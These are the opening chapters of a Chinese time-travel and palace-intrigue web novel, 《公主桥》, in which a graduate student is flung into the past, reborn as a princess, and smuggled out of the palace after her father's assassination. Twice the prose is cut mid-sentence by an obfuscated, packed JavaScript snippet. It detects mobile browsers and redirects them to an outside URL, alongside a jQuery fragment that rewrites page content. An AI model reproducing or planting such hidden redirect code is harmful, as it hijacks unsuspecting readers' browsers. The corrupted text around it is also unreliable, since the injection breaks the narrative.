《公主桥》 1. 楔子 梦中穿越 暑期,学子们都轻松闲散起来,开始了自己的“梦幻之旅”……历史系研究生叶子萌也不例外,晚饭后在府河边暴走一圈,回来冲个澡后半躺在床上,开启了自己休闲懒散的阅读模式。 她刚买回一册?王弼本的《老子道德经注》,这是中国古典哲学的重要文献,也是老子研究的通行本,她准备利用假期时间,从哲学、文学、社会学等多个角度研究一番,然后开学时交一篇论文给自己导师,就这样不知不觉看到深夜。 相亲就在明天。此时,她看了看时间,已近深夜子时,床头柜上有朋友送的精美台历,已翻到7月5日,她打了个哈欠,一阵倦意就涌了上来,不由放下书,慢慢闭上眼睛进入梦乡。 …… 朦朦胧胧中,她被一阵手机铃声吵醒,睁眼一看,天已亮,看电话是她的导师李天杲教授打来的,她顿时有个奇怪的预感:都已放假,他给我打电话做什么?除非…… “李老师,”叶子萌把手机附在耳上,迷迷糊糊地地问,“有什么事吗?” “子萌,”李天杲用一种古怪的语气冷不丁地说,“告诉你一个大消息,那个怪人刚才来电话,激动得不行,说他找到了时光之门……” 李天杲所说的“那个怪人”,即是哲学系的朱克敏教授,虽然他姓朱不姓克,但由于他喜欢研究丹麦哲学家、存在主义哲学之父克尔凯郭尔,尤其推崇印度哲学家克氏、即大名鼎鼎的克里希那穆提,所以被大家戏称“克老师”。 他除研究哲学、洞察天文,还专门研究物理学家罗恩·马利特等人提出的光束跨越法,曾扬言要在他的有生之年找到“时光之门”。 一听自己导师这样说,虽然语气有些压抑甚至轻描淡写,叶子萌的精神也为之一振,睡意全无:“啊?真的?这、这……”竟说不出话来。 “他就在灵山,”朱克敏说,“我准备去看看,你想跟随我去看看‘热闹’吗?” 就像有千军万马压来,叶子萌无法抵御,赶紧说:“当然想去,我准备下……” 对方打断她说:“20分钟后我来接你……”啪,就挂了电话。 看得出导师显得匆忙、紧张。 叶子萌也匆匆起床,快速洗漱完毕,楼下就有汽车喇叭声,她顾不得与爸妈多说什么,从餐桌抓起个网购的全麦欧包边咬边跑,在爸妈讶异的目光中消失在门口,只剩下妈妈依稀可辨的尾声:“王阿姨昨天说给你介绍的那个博士生,见不见啊……” “回来再说……”叶子萌在楼梯拐弯处说。这个王阿姨啊,就像现在市面上的那些“王婆”一般,对这种事很热心。 下了楼,叶子萌上了李天杲的车,李天杲启动汽车,方向盘一甩,就缓缓上了主道,再上立交桥,然后朝远处一片淡蓝色山影的方向加速驶去。 李天杲虽是历史系教授,但对哲学、生命科学等范畴也有广泛涉猎,这对叶子萌有很大影响,让她感触良多,并在对心理的察觉与洞见上,使自己有了一定的解脱和转变。 而朱克敏更是一位让人摸不透的奇人,不仅研究,更重视实践,曾说打算尽全力要建造一所实验室。 “怎么,他已有实验室啦?”叶子萌问。 李天杲手握方向盘,笑道:“我没告诉你,其实他早就在灵山建造了一座实验室,一有空余时间就躲在那里捣鼓,就像修行人躲在洞里闭关似的。” “哦,说来听听!”叶子萌很感兴趣。 “他那实验室虽然更像个制造假酒的地方,还招来市场管理的检查,但丝毫没阻挡住他的热情,每有新的进展,他就打电话给我,”说到这里,李天杲就模仿着朱克敏沙哑的声音,“‘天杲,告诉你吧,虫洞跨越时空并非只是构想和梦幻,宇宙的确存在连接两个不同维次空间的奇妙隧道,在爱因斯坦之前,奥地利物理学家路德维希·弗莱姆就已提出,所以你别不信’……” 叶子萌笑了,感兴趣地问:“然后呢?” “这次他就是在实验室打电话给我的,”李天杲说,“他称自己找到时光之门……你不知道,他说这句时声音都变了,那是一种压抑着情绪的奇怪声音,仿佛是从地底传来。” 叶子萌点点头:“我能理解,是因发现奥秘而激动时发出的声音……” 李天杲说:“我一听这种发自灵魂深处的恐怖声音,立即就明白,我这多年的老友,要么是真找到了什么,要么就是已疯了……” 叶子萌接过话头说:“我听老师说过,90多年前,爱因斯坦和另外一位物理学家在研究引力波时,就曾透露,通过虫洞,可以做瞬时的空间转移,即时间旅行……” 李天杲说:“对,朱克敏研究的正是这种他所说的‘时光之门’。” …… 驱车两小时,又爬了半小时的山,朱克敏的实验室就映入眼帘,那是山峰一侧平地上建造的几间小厂房,厂房废弃后被学生家长送给他暂用,于是他建了简陋的实验室,房顶似还有一些树枝枯草,在风中飘摇,外表看去像快垮塌了似的。 这种地方太可疑,难怪有人来查。 叶子萌一看就忍不住想笑,这大名鼎鼎的“怪人”朱克敏,与同样大名鼎鼎的李天杲、她的导师,是高等学府里出了名的奇才,他俩的所作所为,拿同僚的话说,不是一般凡夫能够洞察和理解的。 此时,正如当年李白用诗歌形容的那样,“洞天石扉,訇然中开”,这时,从实验室的门里钻出个人来,头顶一绺稀稀疏疏的头发也在风中飘摇,眼镜片的后面看不见眼珠,白晃晃一片,瘦削的脸像风干的橙子。 这张“橙子”脸,再加上他“克老师”的称号,在大学里就是传奇。 “哟,还有个年轻妹子,”朱克敏说,立即又自说自话,“我来猜……叶子萌!对吧,我说得对吧,哈哈,老夫掐指一算,前知三百年,后知五百载也……” 还未等李天杲回答,他就将头往里一偏,大手往里一挥,就像刨土豆似的,把李天杲与叶子萌一并“刨”进了他破旧的实验室。 黑黢黢的屋里全是点点星灯,就像夏季夜晚在山顶上观看到的星空似的,待眼睛逐渐适应了,才发现那是一些奇怪仪表上的灯。 叶子萌伸出手小心翼翼地摸着那些灯。 “你这怪人,”李天杲进去就说,“捣鼓这么久了,时光之门在哪?” 朱克敏朝一侧走去,边走边沙哑地说:“据爱氏广义相对论,时空可以弯曲是吧,如果有两个超大质量的物体相互旋转,周围被弯曲的时空就会产生引力波,它能跨越时空,是通过对时空折叠而实现的……” 他边说边走到房屋一角,一把扯下篷布,一个硕大的时光机械类的东西就呈现出来,奇怪的是,这个庞然大物竟然有些像人,准确地说,就像朱克敏本人,头顶也似有一些荆条毛发般的东西,在机器的轰鸣声中飘摇。 机器的两侧,有两个巨大的球形手臂,正在缓缓地舞动着,有点像古代的梁山好汉李逵舞动着他那两把大板斧。 叶子萌忍不住暗笑,联想到“真有两板斧”一词。 机器的下半部,好似有两条巨腿,腿的中间有一团白茫茫的雾气,似门非门,雾气的两侧有许多不同颜色的灯,大小不一地排列在两边。 这种场景,叶子萌既感陌生、又似曾相识,尤其是那些星灯,有的竟像北斗七星,有的又像仙女星座,好像正眨着神秘的鬼眼。 李天杲也感到有些新奇,他指着那团雾气问:“那门,就是这里?” “我已经等待很久了,”朱克敏没正面回答,只是自言自语地说,“只要摁下旁边那个绿色的按钮,时光之门就会开启,我们就可变身跨越去未来……” 跨越到未来是大家一致感兴趣的话题,200年后的世界究竟是不是像天体物理学家史蒂芬·霍金所描绘的那样,人类已经可以搬离了地球?想想都很刺激。 李天杲和叶子萌掉头望去,一侧果然有一个绿灯一般的按钮,旁边还一个红灯一般的按钮。 “敢不敢试试?”朱克敏故作神秘地说,“我们去公元2225年,看看两百年后的世界,究竟是怎么回事?” “我不会是在做梦吧?……”叶子萌暗暗想,“有何不敢的?”她脱口而出,有一种克制不住的兴奋。 “真的?”朱克敏瞪眼看她,“那你摁摁那个绿色的按钮……” 叶子萌掉头看看自己的导师,见他对自己鼓励地点点头,于是回过头去,伸手向那绿色的按钮…… 就在这刹那间,灵山地区仿佛发生了地震,大地忽然猛烈抖动起来,叶子萌的命运也在这一刻发生了变化,她伸手摁那按钮的瞬间,大地又是一抖,她身子晃了一下,手忽然错摁在红色按钮上。 “错了!”朱克敏大叫一声,“你摁错了!不是红色……” 但已迟了,红色按钮已摁下,机器一侧的两个巨大球形手臂开始剧烈舞动,越来越快,说时迟,那时快,那团白色的雾气突然洞开,变成了一道深邃的通道。 在一阵强大的旋风般的转动中,叶子萌觉得自己身不由己,双脚离地,好像被卷进了某种奇怪的时光隧道,却不是通向未来,而是向过去的岁月急速倒转而去。 …… “错了,错了,我不想回到过去……”她心里这样想着,身子却被一股强大的力量裹挟着往后急速而行,先前两位教授早已不见踪影,只听空中隐隐约约传来一个遒劲苍老的声音:“子萌吾徒儿,老者来也……” 她觉得奇怪,不由在心里想,未来不知,但这古代的境况又是啥样? 正想细看,刹那间周遭一团漆黑,空寂荒凉,似要掉下万丈深渊。她想伸出手向上攀援,忽有浮云轻轻托着,而且浓黑云层散开,眼前明亮一片,山川大地显现在眼前。 就来了:一片气势恢宏的群山掠过,下面出现一马平川,村庄星罗密布,房舍林木掩映,小溪流水潺潺,青丘芳草萋萋。一条大道上走着许多古装之人,或长袍广袖,或裹脚短衫,举止有度,含笑相迎…… 这是一个古朴而平和的画面,其中有一文人墨客摇扇唱吟道—— 风调雨顺国民安,蝗害消弭五谷盈; 路不拾遗老少笑,蟊贼灭绝境太平。 …… 突然,东西两面地平线上狼烟四起,号角声声,接着黑压压的人马像潮水似地从东西两处朝平川涌来,且出现隐隐约约的喊杀声。 先前歌舞升平的景象倏忽不见,大路上的人群惊慌失措,四处奔逃,喊爹娘叫妻儿,伴以鸡鸣狗吠,一片混乱。 两军黄白旗很快相接,双方搏杀异常激烈,一位身形矫健、威风凛凛的白袍大将,手执一把青龙大刀,骑马疾驶过来,从一名黑脸大将身边一擦而过,喝道:“着!”大刀寒光一闪,黑脸大将的人头就卜嗤滚落在地。 黄袍军士纷纷大叫,溃退如潮,白袍将士趁势而上,摇旗呐喊,漫山遍野地穷追而去,消逝在山坡那边…… 平川又渐渐恢复平静,尸存遍野,庄稼被踏为平地,房舍被烧为灰烬,到处均是残烟余火,遍野皆听凄凄哭声…… 空中忽传来一古远而悲凉的声音—— 苍茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885038|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大地转乾坤,浩瀚人世无太平, 百姓生灵遭涂炭,悲歌一曲与谁听? …… 叶子萌目睹了这一人间惨景,阵阵心悸后,不由泛起悲伤,不忍再看,又飘飘然继续往前行。 白云在旁飘过,山峦往后退去,下面出现一片城廓,城楼繁华似锦,街市异常热闹,还有一条烟花巷,巷内勾栏院林立……一公子哥儿正走进烟花巷,他身着绫罗绸缎,背插紫檀香扇,大摇大摆地进入青翠楼。 他见鸨母迎来,便道:“我乃幽州珠宝商人,出外日久,要寻一位最好的姐儿散心。” 鸨母听说是珠宝商,忙不迭地献殷勤,将他引到一个绝色姑娘闺房中,这姑娘不仅长得美貌,婀娜可爱,且能歌善舞,琴棋书画样样皆能。 烟花巷平日来的恩客大都是些乌龟王八,官场混混,但这位公子潇洒轩昂,落落大方,又言语温和,虽是商人却无一点悭吝之气,姑娘遇到这样一位客人,如何不高兴,遂使出十分温柔、百般娇媚。 不料此公子却是一位和尚所扮,将一个心境把持得如空无一物。心不动而身自静,眼也盲盲,耳也朦朦,使得色魔无隙可入,即使与之共枕同眠,也觉得无非是伴着一个粉骷髅,姑娘总不能丝毫摇动他心旌。 其他姑娘听说他既肯花钱,又不求实事,哪个不愿与他戏耍白聊?他的黄金白银不知有多少?凡见姑娘就扔,乐得那些姑娘蜂拥而来,团团围住叫他亲哥哥、大善人。 那个鸨母看得眼红,恰好那公子这时说:“我这里还有宝物,可谓价值连城。”遂从怀里掏出一把大木梳。 众姑娘见是一把破木梳,不觉得有甚稀罕。那公子却颇为神秘地说道:“这把木梳有奇妙法力,梳了它便可改变容颜,可有谁愿一试?” 众姑娘望着木梳,半信半疑,而那鸨母听得真切,连忙跑进门,道:“公子,我愿意试试。” 鸨母当然愿试,她现在已是头发灰白,满脸皱纹,一脸白粉也遮不住那苍老愁容。公子听了,一把将她扯过去,抓起木梳就在她头上梳起头发来,那头灰白头发愈梳愈黑,油光透亮,满脸皱纹也渐消失,转眼变成一位妙龄少女模样。 众姑娘纷纷惊叹,啧啧称羡,你争我抢,要让那公子替自己梳头。那公子道:“我这种梳叫‘白驹过隙梳’,你们不怕?” “不怕,不怕……” 于是那公子便令众姑娘闭上眼睛,然后替她们一个个梳起头发来。只一会工夫,这些姑娘全变得银发稀疏,满脸皱纹,一个个成了龙钟老太婆。她们睁眼对视,全都尖声惊叫,号啕大哭……再看那公子,早已不见人影! 这时空中又传来那古远悲凉的声音—— 才见玉颜清纯女,忽然鸡皮白发妪; 白驹过隙不饶人,光阴勾魂把命收! …… 叶子萌一介小女子,不懂古代那些儿青楼倩影的人生悲欢,但花容易逝、人生苦短这一幕,已镌刻在她脑海里。 她百感交集,不想再留恋此地,又继续飘飘往前行,越过一片石峰,飘至一爿较开阔平坦的处所,此地溪流淙淙,叶子萌见那清澈泉水,仿佛与自己心性融为一体,于是飘将下来,沿着幽谷溪流向源头寻去,来到一块巨石下。 这时,岩石竟轰然移开,里面有一光彩熠熠的洞厅,两位年轻男女聚精会神地在手谈十九道,另一老者却打横而坐,此老者星冠道袍,鹤发童颜,仿佛是两位男女的严师。 他们各自悠然静坐,围着手谈的棋桌竟是一块十分少见的乳色寒玉,两块黑白相间的玉石镶嵌于棋桌上,组成一幅太极八卦图,两位男女摆成的式子,乃是一种不断变化的九宫之法,用黑白棋子演八卦阵势,来推算人际风云和历史演变的沉浮劫数。 此时,两位男女起手布子时,身体都在微微颤抖,每移动一枚棋子,棋枰上立马显出一种战阵杀伐的紧张之势,而打横而坐的老道则始终在静悟玄极,不着一声。 少男少女已大汗淋漓,脑顶泥丸处似有一些儿热气,身子骨也左右微微颤抖……此时,那道袍老者轻轻一喝:“停!” 然后他微微睁开眼睛,审视一下棋枰,道:“九州推演法若是细推,真的可知天情地劫啊。” 两位男女恭敬地说:“师尊教诲得好,但此法极其深奥,尚望师尊详说。” 老者道:“世间煞气正盛,天下分崩,百姓无多少安乐日子,我等虽阴佐黎民,面临此情,何得安然……” 空中又响起那古远悲凉的声音—— 常将冷眼看世界,世事纷繁需细观; 见怪不怪显神力,了知沧海变桑田。 …… 叶子萌身临此圣贤之境,十分向往,心念一动,正欲上前去,却有一声音在耳边催促:“快走快走,还傻呆在这里作甚?”身子便觉有股强大力量托起,倏忽出洞,往空中升去。 正在此时,空中那声音说:“时辰已到,你该离去……” 叶子萌回头一看,前面出现一道桥,桥头有一棵杏花树,桥栏上有金光闪闪的三个字:公主桥。字的周围,有无数只蝴蝶翩翩起舞,围着桥栏飞来飞去。 她甚觉好奇,便慢慢朝那桥上走去,用手抚摸着那三个金字,然后又好奇地继续往前走,不料刚走过桥,脚下忽然踩空…… 她惊叫一声,身子也悬空了似的,这时虚空中那声音说:“你既已过此公主桥,就脱离凡胎,成了宫中贵人!” 她正在琢磨这是什么意思,随即又被一股强大的力量裹挟着,朝混沌的地方奔去。 …… 2. 过公主桥 诞生皇家 建启三十二年六月初一,悒域天景山脉之东南一带,忽然出现奇妙景观,先是山峰之上彩云四起,像朵朵巨莲升上空中,接着红光一现,映红白云顶端。 是夜,星斗灿烂,启明星明亮无比,天景山背后一颗红色星斗朝悒国皇宫里飞驰而去,直扑皇太子叶坤的东宫殿。 此刻,悒国太子妃李慧儿的寝宫窗外,突然红光冲天,映红了窗户。宫女浣菱见状,大为惊讶,指着窗户道:“娘娘快看,那是什么?” 正待生产的李慧儿停住呻吟,掉头望去,恍惚间,看见红光处似有一娇憨小女娃,正笑吟吟朝自己跳来,便忍不住地喃喃自语道:“奇怪,莫非那是我孩儿,我昨夜刚巧在梦中见过……” 接生的稳婆听了,就回头朝窗户望去,这时忽见窗外划过一道红光,一团红球唰地破窗而入,直投李媚儿怀中消遁不见,李慧儿没料着,惊恐地大叫一声,昏死过去。 与此同时,忽听床上有小儿呱呱啼哭,声音宏亮清越,龙吟凤鸣一般,接着寝宫生辉,紫气升起,异香扑鼻,景象十分殊胜。 “恭喜太子妃,生了个小公主!”接生的隐婆和周围的宫女纷纷说。 满脸是汗的李慧儿慢慢清醒过来,脸上勉强露出欣喜的微笑,接过襁褓中的女婴,但见女婴粉嘟嘟的脸儿,哭声洪亮…… 旁边的宫女浣菱忍不住说:“娘娘不是说,这名字殿下早已拟好,若是女孩,便叫叶子萌,字明浩,这不就叫明浩郡主吗…… 李慧儿观看一会,有气无力地吩咐浣菱道:“你快去给殿下报个信吧……” “是。”宫女浣菱应道,踩着碎步而去。 这个叫浣菱的宫女,八岁时就被选入掖廷,来到皇帝叶成武和皇后吴氏身边,她头脑机灵,对主子忠心,深受皇后吴氏信任,后来太子妃有身孕后,又被吴氏送到东宫,专门伺候太子妃。 在另一寝宫里,皇太子叶坤这时正在焦急不安地来回踱步,浣菱进去禀报:“恭喜太子殿下,娘娘生了,大人孩子都平安!” 叶坤的眼睛一亮,忙问:“生了个甚?” 浣菱低下眉头,小声禀报:“回殿下,生了个可爱的小公主……” 叶坤一听,眼睛亮度明显减弱,末了还用手挥挥,示意浣菱退下,似乎他当下最关心的还非此事,那目光仍然急切地望着门外,并问身边的贴身侍卫:“颜长史去了多少时辰,还没回来?” 这个侍卫叫沐灏天,他显得有些特殊,没有马上回答,只是按着自己佩剑,暗暗观察着四周,显得很警惕,然后掉过头试探地问道:“太子殿下之所以这样急切,是不是因为关键的时刻已到?” 叶坤与这侍卫的关系也很不一般,他想都未想就回答说:“灏天啊,你想,我父皇现在已经病危,作为皇太子的我,储君之位还未正式确立,而二皇子叶炫、三皇子叶真对储君之位觊觎已久,尤其是二皇子叶炫,处处与我作对,给我使绊,抓我把柄,与我在暗中简直是剑拔弩张、水火不容,难保他什么时候不弄出个古怪!” 沐灏天又试探地问:“因此,太子是希望陛下在弥留之际,快快宣读圣旨,定下你的储君之位?……” 叶坤沉默着,点了点头。 沐灏天似乎比叶坤还要急切,他回头往外看一眼,这才禀报叶坤说:“殿下,颜长史去了有半个时辰,要不再让林啸去探探?” “好吧。”叶坤应允。 一旁的林啸也是皇太子叶坤的贴身侍从,他领命正要出去,恰好这时太子长史颜柳文正急匆匆地回来,叶坤一见他,连忙问道:“怎样?” 颜柳文跨进门,双手环抱回道:“殿下,听总管王智鹏王公公说,圣上的身体已是绝症,宫中的御医全都束手无策,无回天之力;但王公公又说,宣召的事,可能还要再等等……” “为何?”叶坤不解。颜柳文摇摇头。 叶坤思索片刻,说:“长史,我得去去……”说着就要往寝宫外走,沐灏天看了颜柳文一眼,于是颜柳文连忙上去竭力劝阻,切切道:“太子殿下不可着急,二皇子、三皇子等很多人都瞧着呢,殿下这时千万不能乱了方寸!” 叶坤迟疑一下,迈出去的脚又收了回来。 颜柳文朝沐灏天点点头,自己又出去打探消息了…… 叶坤回过神来,这时才想起孩子,便对站在那边待命的宫女浣菱说:“对了,去把小郡主抱来我看看。” 宫女浣菱应着退下,旋即便抱来襁褓,叶坤接过襁褓看着,脸色柔和下来,露出一丝难得的笑容。 浣菱见太子微笑,自己也微微笑着,轻轻地点了点头。 旋即,叶坤又将襁褓递给上前来的侍卫沐灏天,沐灏天接过襁褓,默默望着襁褓中可爱的女婴,眉眼处尽是笑意,忽见浣菱在看他,马上又回过神来,装着无事一般,将襁褓递给了浣菱。 这一切似乎都不怎么合常理,浣菱不由联想起宫中的一些传闻,又瞧了沐灏天一眼,发现沐灏天也在瞧她,于是连忙垂下眼帘,抱着襁褓静静地离去…… 第二天皇宫中仍没动静,只见御医们在皇帝的寝宫一会进一会出,于是整个东宫都在猜测,沐灏天也对长史颜柳文说:“陛下的病既是绝症,或是陛下在故意不宣召,要熬熬三位皇子的耐性?” 长史颜柳文摇摇头,道:“唉,说不好,天威难测,再等等吧……” 第三天深夜都过了,到了第四日凌晨卯时,外出探寻消息的长史颜柳文终于又回来,望着太子,迟疑起来,欲言又止。 叶坤催着他道:“犹豫什么,说吧。” 颜柳文这才附在他耳边悄悄说:“殿下,现在已有谣言传出,传太史局的沈光钊沈大人两天前夜观星象,称有流星落入悒国皇宫,冲撞了龙体……就……就是指殿下生的这孩子!” 叶坤一听,脸色骤变,气得咬牙切齿,但未动声色,半晌才道:“民间不是说,家中长辈病危,生小孩可以冲喜吗?父皇那边有何反应,得知此等谣传了么?” 颜柳文说:“人长两片嘴,随便怎么说都行,估计此谣言很快会传到陛下寝宫中,殿下应早作打算,以应付那些心怀叵测之人……” 这时,一旁惴惴不安的沐灏天上前说:“殿下,长史说得有道理,为以防万一,我倒有个主意……” 叶坤掉头问道:“你说说,什么主意?” 沐灏天便附在叶坤耳边悄悄说了几句,叶坤一听,惊讶地望着他,不知如何是好,久久陷入沉思…… 正在这时,手下人禀报:“王公公到!” 叶坤一听,连忙上前迎接。 这王公公叫王智鹏,是宫中总管太监,也是皇帝叶成武身边的贴身近侍,跟随皇帝多年,身份有些神秘。他进来给太子拱手行了个礼,然后说:“圣上口谕,宣皇太子叶坤前往紫云殿面圣。” 叶坤道:“臣领旨谢恩。” 然后,叶坤悄悄问道:“公公,陛下现在病情如何?” 王公公款款身子:“太子去了自然就知道了……” 叶坤知道问不出什么,于是便住口,随王智鹏前去。 侍卫林啸也随太子前去,这时沐灏天一把将他拉住,附在他耳边悄悄说了几句什么,然后自己却朝另一侧方向疾速而去。 …… 在悒国皇帝叶成武内廷主殿的紫云殿里,四处烛光透亮,叶成武正奄奄一息地躺在龙榻上,皇后吴氏在一旁黯然抹泪,好不哀伤。 王智鹏进殿小声禀报:“启禀皇上、皇后,皇太子叶坤、二皇子叶炫、三皇子叶真已到殿外。” 皇帝叶成武微闭眼睛,没有吱声,一旁的皇后吴氏轻轻道:“都宣进来吧。” 皇太子叶坤进殿前,自然遇见二皇子叶炫、三皇子叶真,叶真见到叶坤,连忙上前恭恭敬敬地行了个礼:“小弟参见太子!” 这叶真身形单薄,脸色有些泛青,目光也有些忧郁,说话好似中气不足,叶坤连忙回礼,并搀扶着他双臂道:“三弟不必多礼……” 一旁的二皇子叶炫,看上去却是另一番作派,他面堂红润,气宇轩昂,对叶坤也似乎不屑恭敬,随便抱拳拱了拱,道:“坤兄,好久不见啊!”又望着他身后的林啸,说,“哦,你还带来了侍从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶炫完全无视王公公“勿多言”的暗示,嘴角往上一翘,又继续说:“据传流星落入东宫后,皇兄恰好喜得一女,恭喜啊!不过,那传闻却说,这就是冲撞圣体的根源,当然我是不信这个的,什么不祥之兆?不知是谁在那里胡说八道……” 话刚落音,躺在龙榻上的皇帝叶成武忽然睁开眼,虽然只是眯成一条细细的缝,但那浓密的眉毛下方,却仍见那汪深潭,透出一道比剑还锋利的寒光! 二皇子叶炫一见这种带有杀气的目光,顿时吓得后背发凉,连忙掩饰着说:“我、我……只是听人这么一说,也觉得不足为凭……” 皇后吴氏这时开口道:“休得听信胡言,坤儿生的孩子以后就是明浩公主,是我皇族叶家正脉,我看谁敢在那里嚼舌?” 一旁的公公王智鹏马上拖长音调说:“请皇后息怒,明浩公主的降临,是我悒国之福!” 叶炫一听皇后吴氏嘴里的“明浩公主”,也愣了一下,抬头去看前面的太子叶坤,又看看旁边的三皇子叶真,回不过神来,见皇后盯着他,连忙说:“母后息怒,我跟着就去彻查嚼舌根的,一经查实……” 这时,三皇子叶真也说话了,道:“父皇和母后息怒,母后说得有理,小侄女现在虽是郡主,其实不日即是明浩公主了,是我叶家血脉,身份尊贵。” 唯有皇太子叶坤仍然跪在原地,两耳支棱着,一声不吭。 皇帝叶成武这时咳嗽两声,示意一下王智鹏,沙哑着嗓子轻声道:“今日三位皇子在前,王公公宣我旨意吧!” 王智鹏连忙拿出早已拟好的圣旨,走到三位皇子面前,展开圣旨,开始宣读—— “应天顺时,受兹明命:帝王治国,需勤劬一生,方能惠及社稷、泽被苍生……” 就在这同时,远处一殿房檐下的走廊柱子后面,有个蒙面之人躲在柱后,手搭弓箭,“嘎吱”一下奋力拉开…… 这边王智鹏仍在面无表情地宣读—— “……为君者亦需心系家国,至死不懈,并为社稷,惟德是辅,然油尽灯枯,遽至弥留……” 檐下那里躲在柱后的蒙面人拉开弓,从箭头处望去,几百米开外的紫云殿大殿门内,那一排排锃亮的烛光映照着,虽看不见龙榻,但三个跪着的皇子后脑勺微微晃动着,稍有些模糊,但箭手将呼吸一屏住,就看清了。 殿内王公公拿着圣旨仍在宣读—— “皇子三人,皆聪慧过人,唯太子坤勤学道德,宵衣旰食,得天庇佑,朕今有遗诏,储君之位……” 3. 太子遇害 襁褓失踪 话未落音,忽听嗖的一声呼啸,殿门外一道黑箭划过天空,蓦然射入门道,嗖地飞来,直射中皇太子叶坤头部的太阳穴,说时迟那时快,叶坤应声訇然前扑倒下,顿时满脸血污…… 王智鹏背后还站有另一个李公公,他沉声一喝:“有刺客!”便滚去床榻,用自己身子护住皇帝和皇后,手里的拂尘也掉落在地。 紫云殿里顿时一片混乱,宫女们尖叫着四处奔逃,二皇子叶炫大叫道:“有刺客,保护圣上!”说着也跑去挡在皇帝和皇后身前。 宫廷侍卫也纷纷跑上前来,有的护住奄奄一息的皇帝叶成武,有的朝殿外奔去…… 而此时,床榻上的叶成武顺势抓住了二皇子叶炫的肩膀,眼睛直瞪瞪地瞧着殿前满脸是血、一动不动、似已薨逝的皇太子叶坤,大叫一声“逆贼……”,忽然口吐一股鲜血,便訇然后仰。 皇后吴氏一时惊慌失色,抱住皇帝失声嚎啕。 “别哭,”叶成武奄奄一息,艰难地撑着床说,“我……我还未死,快叫总管王智鹏来,我还有事交代……” “陛下,”皇后扶住他,“你别说话,我马上传御医……” 殿外也乱作一团,宫廷侍卫冲出殿外,朝对门方向跑去,而皇太子叶坤的侍卫林啸也正在拔剑四顾,却不见刺客半点身影,唯见凌晨瓦蓝灰暗的天空中,蓦然间一只身形巨大的神鹰凄厉地叫着,剑一般飞来飞去。 殿内有宫女跑了出来,嘴里惊慌地叫着“太子薨逝”,林啸觉得不妙,双脚一跺,将剑插回剑鞘,返身疾速奔向东宫殿。 东宫殿里,女婴被皇后吴氏口谕封“明浩公主”的消息传来,太子妃李慧儿和宫女们正在高兴,不料,太子遇刺被害的消息旋即又传到,宫女们一听后又乱作一团…… 唯有太子妃李慧儿,这时反倒镇静起来,她喃喃说道:“该来的总是会来……”眼前就浮现出之前她瞒着太子、悄悄去找太子傅秦玥占卜的那个场景—— 老人家当着她的面,朝几案上扔下几块龟壳,然后细细一看,脸色骤变,长时间不说话。李慧儿见状,心里七上八下,追问道:“此卦究竟怎样?” 秦玥拗不过她,小声说了一句:“此卦不祥啊……” “哦?”李慧儿心里一紧,连忙问,“怎么个不详啊?” 秦玥硬着头皮提醒并安慰她道:“娘娘,这……这恐就是太子命数,也勿去告之他,顺其自然吧……”说完摇摇头,然后无奈地仰天长叹,神色黯然。 …… 这时,侍卫林啸飞奔进寝宫,正要向李慧儿禀报什么,李慧儿却举起手阻止住他。林啸一见李慧儿脸色灰白,双眼失神,一副心如死灰模样,就明白她已知道了一切。 林啸掉头又朝床榻看去,床上却没有了婴孩影子,再环视四周,除了宫女们慌乱的身影,以及太子长史和两个幕僚在扼腕叹息,却不见了沐灏天。 他突然明白了一切,沐灏天在他陪太子去觐见圣上前,就对他透露有件重要的事需他沐灏天去办,现在看来,他八成是为防不测,将襁褓里的明浩公主悄悄抱走,要将她保护起来。 但是,他出得了宫吗? 林啸猜得不错,襁褓里的婴儿正是被皇太子的贴身侍从沐灏天抱走,当时宫女浣菱还“哎哎”叫着想拦,却被李慧儿阻止住。 沐灏天便将襁褓裹缠在背上后,对李慧儿点点头,然后又朝宫女浣菱瞧了瞧,苦笑一下,这才转身出去,剩下浣菱一人在那发呆。 沐灏天出了东宫,在偌大的皇宫里开始急速穿行。东宫在宫中的西南角,距离宫墙不很远,他来到一处宫墙前,运功一跃,便飞上墙头。 突然,那只传闻中很厉害的宫中神鹰这时发现有异,迅速出现在他面前,它像人那样咯咯怪叫着,展翅腾起,双翅展开竟有房屋般大,又呼地扑来,动作迅猛敏捷,沐灏天还未回过神来,只觉眼前就有黑影一闪,自己差点掉下墙头。 那神鹰绕了一圈,又飞回来,耸立在宫墙上,这次它距沐灏天更近,身形大如小牛,双目闪着寒光,双爪尖如利刀,煞是吓人。 沐灏天武艺高强,虽不惧怕,但清楚这老怪为皇帝叶成武从野灵山带回宫中的神物,恐怕不好对付,思忖片刻,便装着与它聊天,道:“你这神鹰,挡着我道做甚?难道这是你地盘不成?” 那神鹰一声怪啼,并不理会,仍然稳如磐石,似乎这真是它的地盘。 沐灏天又喝道:“神鹰,我一未抓你小鹰,二未捣你老巢,与你无冤无仇,你凭甚挡道?难道你是想抓我的小孩?快快闪开,否则我扭断你爪子!” 见那神鹰仍不让道,沐灏天慢慢拔剑,说时迟那时快,秃头神鹰身子一挫,呼啦扑来,大爪直抓他腰身。 沐灏天运足内力,纵身一跳,躲过神鹰利爪,不料神鹰扭头一啄,嗤一声,他右臂布巾便被扯下一小块。 沐灏天怒火中烧,抠出一砖,运足气来个“长臂猿抓”功法,只见他手臂一旋,嗖一声,那砖石便飞去击中鹰背,羽毛也打飞几片。 神鹰怪叫一声,猛地一栽,又盘旋一圈,重新扑来,这次情势凶猛,连声怪笑,令人悚然。沐灏天见势不妙,连忙挫身翻下宫墙,神鹰的黑影随时也到,只听噼叭一声,坚硬的墙壁竟被那鹰爪撕碎几片。 沐灏天跳下墙头打横而坐,双手腹处抱丹,微闭双眼,内视要穴,默念道:“致虚极,守静笃……”杂念顿消,神旺气足,景物隐去,缥缥缈缈。 